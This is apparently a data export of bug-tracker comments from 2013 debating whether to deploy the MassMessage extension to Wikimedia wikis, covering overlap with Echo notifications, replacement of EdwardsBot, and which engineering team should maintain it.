+Hmm, I didn't read what you said as being related to this, most of what was in that discussion was posted on the grandparent bug and little movement has been done since then.
+
+As to your logs: currently there is only one Dev working on Echo: bsitu. RoanKattouw and matthiasmullie never got the chance to work on this project, lwelling is no longer with us, Krenair is a community dev who I assume is wrapped up in other issues with core, kaldari is now in Mobile, fabriceflorin is in Multimedia and Werdna is on Flow. I don't know the state of [[mw:Extension:TranslationNotifications]] but I believe it's under active development/maintenance by Language Engineering. Their contributions are in this log, on mediawiki, in the code base, and in fabriceflorin's notes. When work on Echo is restarted, bsitu will be involved in it.
+
+
+> I gather that you feel insulted and circumvented or something like that and
+> I'm
+> sorry for this personal pain you're suffering, but all this talk about
+> exploiting doesn't look helpful.
+
+I'm not insulted. I pushed back one time in a close-door meeting (I prevented deployment on mediawiki.org with the understanding from all the participants of the meeting that MassMessage would not be deployed on the cluster). Since people aren't aware of it, I am trying to explain the decision and the reasoning behind it.
+
+I apologize for this language of ""exploiting."" Here was the topline of my original discussion which is relevant (but deleted from the bug comment):
+
+> When I use to loaded words like ""back-dooring"" etc, I believe that no malice was intended and the discussions so far have been in good faith from all parties. I think people have a valid concern and want it addressed and are wondering honestly how decisions have been made. In particular, my decision to not allow the MassMessage Extension to roll out onto MediaWiki last week, since that occurred during a meeting that didn't even involve or derive have consultation (except ex-post-facto) with any product manager or engineer here.
+
+It is very likely that adding the previous deploy and this one to the deploy calendar on Thursday would have someone like me either missing it or taking it at face value (that someone outside my own team added it and has adopted responsibility).
+
+Last week, I didn't have time to figure out the parameters of where the decision to deploy MassMessage came from, so I only pushed back on mediawiki.org. The understanding from me and all the participants of the Friday meeting was that MassMessage would not be deployed beyond that.
+
+The fact is at that moment this spent all of one day on the deploy calendar added by someone outside the WMF, one and a half weeks in public development on obscure parts of the wiki and bugzilla, had no discussion with product, no plan for support, etc.
+
+No new feature would have been deployed to even test or test2 without discussions from Features, Design and Product. I didn't realize that any of this had occurred.
+
+This is not a standard anymore for deployment of an extension, nor has it been for quite a while.
+
+> This is not a reply to my line you quoted.
+
+Hmm, I feel it is but I guess this depends on the definition of what is is? :-)
+
+If it is unreasonable to require sign off for Features Engineering for Extension deploy than it is an unreasonable thing that has been in place long before me. I'm trying to relax that requirement, one area of relaxing is to find another home for deployment and support.
+
+Last year, there was a broken core change about timestamping slipped through Platform review and got deployed. Because of that, a better thought-out and previously-developed pending core change for the exact same feature from Werdna got bumped. To get this fixed,the Echo team had to make a new core patch that superseded the earlier, broken patch, satisfied Language Engineering's wishlist, and handled what Echo needed which took weeks of effort and time that wasn't necessary had the timestamp patch not been put into core in the first place.
+
+It was unreasonable, but it was life.
+
+We can operate on the old rules of ""Features Engineering needs to sign on support for Extension wide cluster deploy"" or we cannot.
+
+Under the former, Features's answer is not no. Our answer is We need to hear something more urgent and important or my answer is not yet from Features. Everything WMF Features Engineering does is in collaboration with other areas: product, design, design, and community, and I refuse to allow me or my teams to operate differently.
+
+Under the latter, support for this needs to find another home just like TranslationNotifications or BetaFeatures did.
+
+Someday, I hope we can do better. Things like BetaFeatures and Workflows part of Flow may make that possible.",,,1380845232,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+251400,Review and deploy MassMessage extension to Wikimedia wikis,"I don't want to monopolise the discussion so I'll briefly reply to some ""personal points"".
+
+(In reply to comment #32)
+> > This appears to be a false problem. If Echo or something else in a future
+> > provides equivalent or better features, the extension will fall into disuse
+> > and/or it can be undeployed.
+> 
+> That argument may have held water back when extensions like ReaderFeedback or
+> LiquidThreads were written and deployed. 
+
+This comparison carries no value: 1) LQT can't be undeployed because we'd lose critical data (discussions) from the wiki, 2) AFT is being expanded right now with no exit strategy I'm aware of (probably under the understanding that nobody cares if all that data disappears from the wikis after undeployment).
+
+> [...]
+> 
+> > I don't get these points. If you're responsible for Echo, it's your
+> > responsibility to decide what Echo is going to incorporate, it's not the
+> > others' responsibility to guess it and be blocked for years while you figure
+> > it
+> > out.
+> 
+> I'm responsible for ENGINEERING RESOURCING on Echo. [...]
+> 
+> You have a misguided view of what I do or what works in general in our
+> movement
+> or at the WMF.
+
+I highly doubt I do. My sentence started with an ""If"" for a reason: I've no idea who's responsible for Echo.
+
+Let me note that I asked how you planned to coordinate with other pieces of code/devs working in this area already 9 months ago: [[m:IRC office hours/2013-01-08]].
+
+> [...] I'm asking that while I agree (and I think most would) that it'd be nice to
+> have movement on the parent bug, people stop trying to exploit known holes in
+> our development processes to try to get a particular implementation that is
+> not
+> derived from consensus and has bypassed every standard erected to safeguard
+> sustainable development at the WMF: either work within the system or don't
+> but
+> don't try to get something deployed and say it's Features' problem because
+> it's
+> an extension. This sort of behavior breaks down trust in our people and
+> processes many of whom and which are new, fragile,and need to be nurtured,
+> not
+> exploited.
+
+I gather that you feel insulted and circumvented or something like that and I'm sorry for this personal pain you're suffering, but all this talk about exploiting doesn't look helpful.
+
+> [...]
+> > > The above can occur independently or in parallel to the above. If Product
+> > > thinks it cool to commit Platform's constrained engineering resources to
+> > > [...] use it to take
+> > > advantage of Echo when the features roll out in some undefined future,
+> > 
+> > this looks like an unreasonable requirement
+> 
+> The requirement for extensions to be deployed has ALWAYS been that Features
+> Engineering sign off on a commitment to maintain the extension. [...]
+
+This is not a reply to my line you quoted.",,,1380838994,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,True,,,13,,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1
+251394,Review and deploy MassMessage extension to Wikimedia wikis,"**tchay** wrote:
+
+(In reply to comment #30)
+> (In reply to comment #28)
+> > bug 52723 is a recent bug to deploy Legoktm's MassMessage extension as a
+> > solution to bug 35306, it is less than a month old there has been little
+> > public
+> > discussion [...]
+> 
+> For your following points, it seems you're implying that the desiderata and
+> requirements for this extension are not clear. This couldn't be less true[edit]:
+> the
+> requirements are to take over EdwardsBot (a successful product) in the least
+> impactful way possible.
+
+bug 52723 on its own is clear, but as a solution to bug 35306, it is not. If we actually want to solve bug 35306 in an ideal world, nobody would use 52723, nor would Platform resources have been spent on 52723.
+
+For instance, what is the timescale necessary before EdwardsBot is unworkable? Has it failed immediately or is failure immanent? If not, why then the rush on bug 52723? If so, then we need to discuss what to do of which bug 52723 is the only option right now. No other extension in recent memory has been deployed on the cluster with so little public discussion, without any product approvals, without any commitment from Features for maintenance.
+
+> > The problem with moving on bug 52723 as a solution to bug 35306 is it commits
+> > Features Engineering to maintaining an extension that is a stop gap solution
+> > with no or very little discussion in a manner that doesn't serve a broad
+> > strategic goal about how messages, notifications, etc. should be handled on
+> > the
+> > wikis. [...]
+> 
+> This appears to be a false problem. If Echo or something else in a future
+> provides equivalent or better features, the extension will fall into disuse
+> and/or it can be undeployed.
+
+That argument may have held water back when extensions like ReaderFeedback or LiquidThreads were written and deployed. We still have those extensions cluttering the cluster with no serious commitment to support, no easy avenue for sunsetting. Unlike that time, we now real product and development processes in place. Those processes should be given a chance to work before being bypassed.
+
+It would be unfair to every engineer here and all extensions written if the old standard of, ""If something better comes along, this will die naturally"" is applied in this case barring some emergency. That standard hasn't been applied during my tenure here and I'm not going to make an exception just because Platform's checklist for covers core deployments has been gamed to cover a new extension deployment that would not reached this stage and would have received an reprimand from me (wasting Platform's resources) had my own engineers done this.
+
+While MassMessage is replacing or superseding current site functionality, this is this isn't improving or superseding a current (neglected) extension. For instance, the community-initiated work being done on the Math Extension (which I might had has had infinitely more discussion on wikitech-l) because this site functionality  If anything, the inability of Features Engineering to review and maintain the current deployed extensions should make the case against MassMessage adding to that balance sheet already deeply in the red.
+
+The simple reality is that Features Engineering will not support the MassMessage Extension as is. But if a different department like Platform Engineering is actually committed to supporting it indefinitely, I'll cede the ground entirely. I did the same to Language Engineering with Translation Notifications. This time, I'd recommend discussion with others how that experience has worked out (I don't know myself, because Feature ceded responsibility here).
+
+> > [...] After discussion during that Friday
+> > meeting among the EPMs, I compromised to let it to go out on two test wikis,
+> > but not on mediawiki. Nobody made the case that it should go out on
+> > mediawiki.
+> 
+> AFAIK, this is a MediaWiki extension. Do you mean ""not on mediawiki.org""?
+
+Yes, sorry. I meant the mediawiki.org. You can see the context of my use of mediawiki by itself from the change history I linked to above.
+
+> I don't get these points. If you're responsible for Echo, it's your
+> responsibility to decide what Echo is going to incorporate, it's not the
+> others' responsibility to guess it and be blocked for years while you figure
+> it
+> out.
+
+I'm responsible for ENGINEERING RESOURCING on Echo. Right now a full-time engineer has been devoting his full time in supporting a product that is ""done"" simply because the rollout hasn't yet happened on all the wikis. If I want to commit more time developing enhancements to it, I have to take that resource from somewhere else like VisualEditor or Flow. Because it affects those teams, I'd negotiate with the product managers on that time. In addition, I'm okay with being ordered to change that current level or resourcing by Erik, Sue, or the Board, but until then I make the resourcing decision based on my responsibility toward achieving the Annual Plan, the Strategy, and other commitments we've made.
+
+You have a misguided view of what I do or what works in general in our movement or at the WMF. What or what-not Echo incorporates, like all decisions of this nature, are not mine alone but the responsibility of Product Design in discussion with me, my teams, and others. When it comes to Echo specifically, because I have the least domain knowledge on the team, I have the least contribution and thus the least authority to do beyond a suggestion. This is a Good Thing. We should be good stewards of each others time and energy and not commit others without discussion with them.
+
+I have a lot of stuff I'd like to do and I'd like to promie, but I agree to abide by this framework and expect my teams to do the same. I make and enforce the rules with respect to Features Engineering, but I do not make all the decisions for the features, or even the most relevant ones in this matter.
+
+> Are you saying you're going to figure it out so that people can
+> understand
+> how to work with/for Echo without being just blocked by it?
+
+I am saying, ""Here is an approach we can take. I realize that it's a 3-6 month to 1 year thing, but so is everything else we've done. If you've held off for almost 2 years, can you hold off a bit longer? This approach can be done orthogonal to other approaches (like this bug), but the important thing to be is consistent so we avoid things (like ad-hoc extension deployments) that we know haven't worked in the past.""
+
+I'm saying if you can't be blocked by this bug and need Features to support it, then either go without Features or state reasons other than ""it's been in bugzilla for almost 2 years"" because that has never been a standard to get stuff fixed and deployed.
+
+I'm asking that while I agree (and I think most would) that it'd be nice to have movement on the parent bug, people stop trying to exploit known holes in our development processes to try to get a particular implementation that is not derived from consensus and has bypassed every standard erected to safeguard sustainable development at the WMF: either work within the system or don't but don't try to get something deployed and say it's Features' problem because it's an extension. This sort of behavior breaks down trust in our people and processes many of whom and which are new, fragile,and need to be nurtured, not exploited.
+
+For instance, BetaFeatures was shopped around long before MassMessage, bypassing Features Engineering. They got a bite in Multimedia and Mobile and now Multimedia wants to deploy this and move on to work on… Multimedia and is in a spot with respect to support for this extension. Part of me wants to say, ""Well you knew this was going to happen, why didn't you involve the rest of Product and Features before you got to this point?"" And that's for an extension that had far more buy-in, development, design, and direction (from the VP level even), and isn't even deployed yet!
+
+It is for exactly sort of situations that the consensus and discussions with product, design, and features is a standard for all new features in the first place. When this rule is bent as in the case of BetaFeatures, it causes problems which the people who took it on understood would come as a consequence. When this rule isn't even followed, as in the case of MassMessage, Features opts-out, but another department is welcome to take this on.
+
+> > The above can occur independently or in parallel to the above. If Product
+> > thinks it cool to commit Platform's constrained engineering resources to
+> > deploying and supporting MassMessage Extension forever 
+> 
+> This is one thing,
+> 
+> > and use it to take
+> > advantage of Echo when the features roll out in some undefined future,
+> 
+> this looks like an unreasonable requirement
+
+The requirement for extensions to be deployed has ALWAYS been that Features Engineering sign off on a commitment to maintain the extension. I've relaxed it to be: ""If another engineering department in collaboration with product is willing to commit to it, Features will not block."" I'd like to someday relax this further to: ""If any engineering department or community development in collaboration with the other core competencies (features, product, design, and community) are willing to commit to it, no one should block."" We are not there yet, and trying to rail against that is winning a battle at the cost of the war breaking down these silos and having shared ownership and responsibility in our organization, in our community, and in our movement.
+
+> (are you going to shutdown
+> message
+> bots too if they don't use Echo?).
+
+No. Message bots are not Extensions. I think the criteria to move EdwardsBot into ToolLabs is different. If MZMcBride would like assistance on this, I think the engineering community team and operations will offer it.
+
+Personally, I (and I assume you) would like a solution beyond and more sustainable than saddling MZ and EdwardsBot with more work. The original bug points out that much of the Wikimedia Foundation is dependent on MZ's bot. If MassMessage Extension is the only option or is an emergency option, so be it — people have shortcutted processes before and have had to live with the consequences.
+
+Otherwise, we need to have that discussion in front of all of WMF Tech, on Wikitech-l in front of the mediawiki community, and in front of the C-levels and the board as part of the annual plan, not just on this bug.",,,1380837927,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+251388,Review and deploy MassMessage extension to Wikimedia wikis,*couldn't be less true,,,1380829988,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0
+251383,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #28)
+> bug 52723 is a recent bug to deploy Legoktm's MassMessage extension as a
+> solution to bug 35306, it is less than a month old there has been little
+> public
+> discussion [...]
+
+For your following points, it seems you're implying that the desiderata and requirements for this extension are not clear. This couldn't be less clear: the requirements are to take over EdwardsBot (a successful product) in the least impactful way possible.
+
+> 
+> The problem with moving on bug 52723 as a solution to bug 35306 is it commits
+> Features Engineering to maintaining an extension that is a stop gap solution
+> with no or very little discussion in a manner that doesn't serve a broad
+> strategic goal about how messages, notifications, etc. should be handled on
+> the
+> wikis. [...]
+
+This appears to be a false problem. If Echo or something else in a future provides equivalent or better features, the extension will fall into disuse and/or it can be undeployed.
+
+> [...] After discussion during that Friday
+> meeting among the EPMs, I compromised to let it to go out on two test wikis,
+> but not on mediawiki. Nobody made the case that it should go out on
+> mediawiki.
+
+AFAIK, this is a MediaWiki extension. Do you mean ""not on mediawiki.org""?
+
+> [...]
+> 
+> For example, features in MassMessage and EdwardsBot need to be addressed in a
+> Must-Have, Should-Have, Could-Have, Won't-Have (MoSCoW) framework. 
+
+Isn't this what dependencies are for? I see one dependency and it's fixed.
+
+> [...]
+> 
+> 1) wait for some things to happen: legoktm to get an RfP, Echo to be on all
+> wikis, and Benny to do an entire Flow only sprint and balancing his time more
+> effectively wrt Echo.
+
+I don't understand how keeping to use a bot for the very same things this extension would do helps Echo.
+
+> 2) MoSCoW other features of MassMessage/EdwardsBot for integration into Echo
+> 3) Enhance and deploy a first pass to Echo to allow some sort of mass
+> notification from a wiki list
+> 4) Some sort of cross wiki notification enhancement (requires a design pass)
+> 5) Discuss how to implement must-have or should-have features of EdwardsBot
+> that can't live in Echo (permanent log of events)?
+> 6) Add those to plan and be done.
+
+I don't get these points. If you're responsible for Echo, it's your responsibility to decide what Echo is going to incorporate, it's not the others' responsibility to guess it and be blocked for years while you figure it out. Are you saying you're going to figure it out so that people can understand how to work with/for Echo without being just blocked by it?
+
+> The above can occur independently or in parallel to the above. If Product
+> thinks it cool to commit Platform's constrained engineering resources to
+> deploying and supporting MassMessage Extension forever 
+
+This is one thing,
+
+> and use it to take
+> advantage of Echo when the features roll out in some undefined future,
+
+this looks like an unreasonable requirement (are you going to shutdown message bots too if they don't use Echo?).",,,1380829865,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,True,,,13,,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+251377,Review and deploy MassMessage extension to Wikimedia wikis,"**tchay** wrote:
+
+I am not modifying this bug, to leave open the avenue that Platform Engineering commits to supporting [[mw:Extension:MassMessage]], only bug 35306.",,,1380828245,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+251372,Review and deploy MassMessage extension to Wikimedia wikis,"**tchay** wrote:
+
+We have two separate but related bugs here: 
+
+https://bugzilla.wikimedia.org/show_bug.cgi?id=35306
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52723
+
+bug 35306 is an tracking bug MZMcBride posted for a solution to deal with EdwardsBot. I believe it dates to around the time I was first employed almost two years ago.
+
+bug 52723 is a recent bug to deploy Legoktm's MassMessage extension as a solution to bug 35306, it is less than a month old there has been little public discussion, and until it appeared on the deploy calendar last week, I wasn't even aware of its existence.
+
+The problem with moving on bug 52723 as a solution to bug 35306 is it commits Features Engineering to maintaining an extension that is a stop gap solution with no or very little discussion in a manner that doesn't serve a broad strategic goal about how messages, notifications, etc. should be handled on the wikis. To the first, maybe there is something wrong with my e-mail client, but I have yet to find this discussion on wikitech-l or anywhere outside the bug.
+
+Because of the above, my view is that this solution is being back-doored in and just moves the ""technical debt"" from one sheet (the community and tool labs) to another that has even less capability. I am biased against that because the latter sheet (WMF Features Engineering) is my responsibility. This is just my view, I'm open for us coming to consensus on a solution for this bug, but what I have seen is not consensus.
+
+It is along these lines that, I asked to remove MassMessage from the deploy calendar when it was added to the deploy calendar without discussion from Features, Design, or Product last week. After discussion during that Friday meeting among the EPMs, I compromised to let it to go out on two test wikis, but not on mediawiki. Nobody made the case that it should go out on mediawiki. I demurred because no person at the WMF, including me as Director of Features Engineering, should fiat a decision when unaware of the status of discussions involved.
+
+But let frank: if this had been a WMF employee writing this extension, it wouldn't have made it to even the test wikis by a country mile. In fact, a lot of extensions have been written by employees and either have extensive discussion, review, and buy-in (e.g. GuidedTours), or have not been deployed (e.g. Etherpad, the org chart, BetaFeatures) even though much more work has been done on them.
+
+I also don't like that WMF resources in Platform and Design are being spent to review something that has had no adequate discussion over in the annual plan, in anyone's 20% time, in any cross-team discussion, or public discussion on wikitech-l (There was a last minute thread in the Design list, I am not on the design list, nor should I be, and the Creative Director is new and the team is just trying to get their sea legs and some consideration to that needs to be done here). Furthermore, after further discussion, nearly all of Product felt I should not have compromised earlier because the following situation might occur: Having gotten it onto ""the cluster"" people would then move to back-door it into deployment on the basis that it's already on the cluster. Their prediction is occurring right now. This is a bogus argument because nobody agreed this should be on the cluster, it's just that nobody has reviewed it in a thorough enough manner to shout ""NO!""
+
+If necessary, I'm going to shout ""NO!"" at this moment.
+
+Having said that, there is the larger issue of bug 35306 which has been sitting there unsolved for a while as well as the smaller issue of the month's work Legoktm and MZMcBride have already put into Bug 52723 and [[mw:Extension:MassMessage]] possibly going to waste if I keep blocking it. Besides, MZ is sitting there trying to hold everything up on his own shoulders with EdwardsBot, and we all know it.
+
+…
+
+Let me address the functionality overlap with Echo:
+
+LanguageEngineering built their own parallel message/notification system before Echo that lives on Meta today. They commit to supporting their own parallel message/notification system, and I'm okay with it living outside Echo (where it currently does), but there is an understanding that they've basically committed to that work with no support from Features for the duration that it does live outside Echo.
+
+In those lines, I'm glad that Platform has helped out here, but unless Platform is committing to support MassMessage indefinitely into the future and not just provide one-time security and deploy assistance, I'm not okay with them adding to Features work even though they've been super helpful to MZMcBride and Legoktm. If Dan Garry is willing to commit Platform to support MassMessage, I'll think the same precedent we've done with LE applies here.
+
+Furthermore, before *in-echo, outside-echo, use-echo) for a solution to be bug 35306, it needs to actually exhibit product discipline. The WMF gets panned for having a ""agile processes"" but not actually doing so, but we do have some process and we need to at least apply the same product discipline that we apply everywhere else to this bug.
+
+For example, features in MassMessage and EdwardsBot need to be addressed in a Must-Have, Should-Have, Could-Have, Won't-Have (MoSCoW) framework. Features like ""mass delivery from a list"" are probably a Must-Have; features like ""cross-wiki notification"" are probably a should-have, other features like ""public over private notifications"", ""page-centric over user-centric"" or ""longer stream notifications"" are either not a must-have or could have or are should-haves to  be done outside Echo by a different service (bot) using the Echo API or some extension thereof. All that is a product issue, and I nor anyone in my team is in product. Those decisions should be done in discussion with the Product team and they should not be disintermediated from it, which they have been.
+
+I understand that many people would like to see a solution to Bug 35306 would be great to have. I'd like to see a better Signpost notification system and a more generalized solution for newsletter delivery also! I'd also like a pony. But we have already committed resources and continue to commit resources without discussion from the people (Product Design, not Features Engineering) who have been tasked with this responsibility and are very good at these sort of thing. I hope everyone participating on this bug can see that dropping this bomb on a newly hired associate product manager is simply not cool on so many levels.
+
+…
+
+Here is my suggestion:
+
+(This is thinking, not a directive so don't think of this as definitive or final, I'm seeking consensus here.)
+
+First, bug 35306 is a long-standing request. I think it's important we get headway on this, but I hope others will be understanding if it doesn't happen immediately, so long as there is a commitment for this to happen.
+
+(For perspective, Flow was first proposed years ago, and was added to the annual plan almost two years ago before their first actual development sprint was completed (end of this week!). Echo was first deployed almost 8 months ago and is still not out on all the wikis. BetaFeatures has been in discussion for months and is still not deployed, nor is the commitment to maintain inside Features and that has caused a lot of issues. Fixing things right right takes time because consensus takes time and open discussion.)
+
+There is an RfP for student developer time for legoktm for things like this (Finding a solution for Bug 35306 but not [[mw:Extension:MassMessage]] because MassMessage would not be deployed if it was my own engineer). Benny Situ has been spending all his time supporting [[mw:Extension:Echo]] when he should balancing [[mw:Flow]] development time into Echo bug fixes and needs to spend at least one sprint (two weeks) solely getting up to speed on Flow before doing enhancements for [[wm:Echo]]. Furthermore, Echo is not deployed everywhere yet and is still rolling out (though I've been pushing up the timetable on this as I feel we're too slow here), so it can't reach the places that EdwardsBot cat.
+
+After the above happen, I'd like Benny and Kunal to work together to add some of the functionality of EdwardsBot into Echo for mass message delivery. Because of this, I'm moving bug 35306 into Echo as an enhancement and raising it's priority.
+
+In the meantime I'll be OK with leaving MassMessage on test and test2 wikis because the alternative would be to remove it from the cluster entirely. The experiences and code Kunal derives by that can inform the enhancement to Echo, as well as things it already does that find themselves outside Echo (Echo does not and should not post to talk pages). So I figure two stages:
+
+1) wait for some things to happen: legoktm to get an RfP, Echo to be on all wikis, and Benny to do an entire Flow only sprint and balancing his time more effectively wrt Echo.
+2) MoSCoW other features of MassMessage/EdwardsBot for integration into Echo
+3) Enhance and deploy a first pass to Echo to allow some sort of mass notification from a wiki list
+4) Some sort of cross wiki notification enhancement (requires a design pass)
+5) Discuss how to implement must-have or should-have features of EdwardsBot that can't live in Echo (permanent log of events)?
+6) Add those to plan and be done.
+
+The above can occur independently or in parallel to the above. If Product thinks it cool to commit Platform's constrained engineering resources to deploying and supporting MassMessage Extension forever and use it to take advantage of Echo when the features roll out in some undefined future, consider this thinking moot or at least orthogonal to MassMessage. IMO, it is bad enough that something important like BetaFeatures is without a home, but my answer from Features is ""No"" for MassMessage. If this was my own engineer, I'd raise hell with them for this and yell at their Product Manager for not being a good steward of Platform's time.",,,1380828181,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1
+251366,Review and deploy MassMessage extension to Wikimedia wikis,"As someone that has discussed the topic of mass notifications / announcements / newsletters with many people I agree with the approach being proposed here:
+
+* MassMessage solves a problem here and now by deprecating EdwardsBotwith a better solution.
+
+* There is a possibility to integrate an Echo plugin to MM in the future, but this is no blocker for a deployment to Wikimedia wikis now.
+
+* There are other future possibilities around announcements / newsletters in the future, in the lines proposed at https://www.mediawiki.org/wiki/Extension:Newsletter#Wishlist and MassMessages might or might not be a good project to handle this, but again this is no obstacle for a deployment now.",,,1380730233,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+251358,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #25)
+> There is some overlap with Echo with this. 
+In general, yes. Both extensions provide a 'notification' functionality, however there are some pretty big differences as well.
+
+1) Echo notifications for the most part are private; only you can see your Echo notifications. MM is designed so that everything (target list, message content) is fully public.
+
+2) Echo is centered around users, given that you can only send notifications to users. MM can send to basically any page, which is necessary for global message delivery (most messages are sent to village pumps, not users directly).
+
+3) Echo notifications are quick short messages that usually are just a link to something else. In many cases, EdwardsBot delivers the whole message to your talk page (example: <https://en.wikipedia.org/?diff=prev&oldid=565236352>). In this regard MM has been designed so that the end user receiving the message would not see any difference.
+
+(In reply to comment #25)
+> if we enable this extension we could always disable it should
+> Echo supersede it.
+
+I don't think merging MM into Echo is a good idea. Rather, MM should use Echo notifications instead of talk page ones if $wgMMUseEcho is enabled. Or something like that...",,,1380729349,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1
+251352,Review and deploy MassMessage extension to Wikimedia wikis,"There is some overlap with Echo with this. On the other hand, there are some things that this might be suited for, such as the delivery of the Wikipedia Signpost. It's my view that an in-built solution to replace EdwardsBot would be useful, and if we enable this extension we could always disable it should Echo supersede it.
+
+I'm CCing Fabrice Florin, the product manager for notifications, to see if he has any input.",,,1380726099,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,True,,,13,,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+251347,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #19)
+> Mostly, I brought this (deploying MassMessage) up in a Deployment updates
+> meeting, and there was some push back from a product view. In short:
+> ""shouldn't this functionality be built into something like Echo?"" So, I won't
+> go around them and deploy MassMessage everywhere until that conversation is
+> settled (for some value of ""settled"").
+
+I'm still awaiting feedback from Terry, Howie, or Fabrice on bug 35306 (I also e-mailed them yesterday with a pointer to the bug), however Lego pointed out to me that Echo doesn't currently support cross-wiki notifications, so Echo integration is probably completely off the table for now.
+
+I think a month of testing is sufficient for this extension, so I've tentatively scheduled a deployment to all Wikimedia wikis for the end of October (cf. <https://wikitech.wikimedia.org/w/index.php?diff=84903&oldid=84888#Near_term>). You know the calendar much better than me, though, so let me know if that's a particularly bad time for whatever reason.",,,1380680719,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+251342,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #22)
+
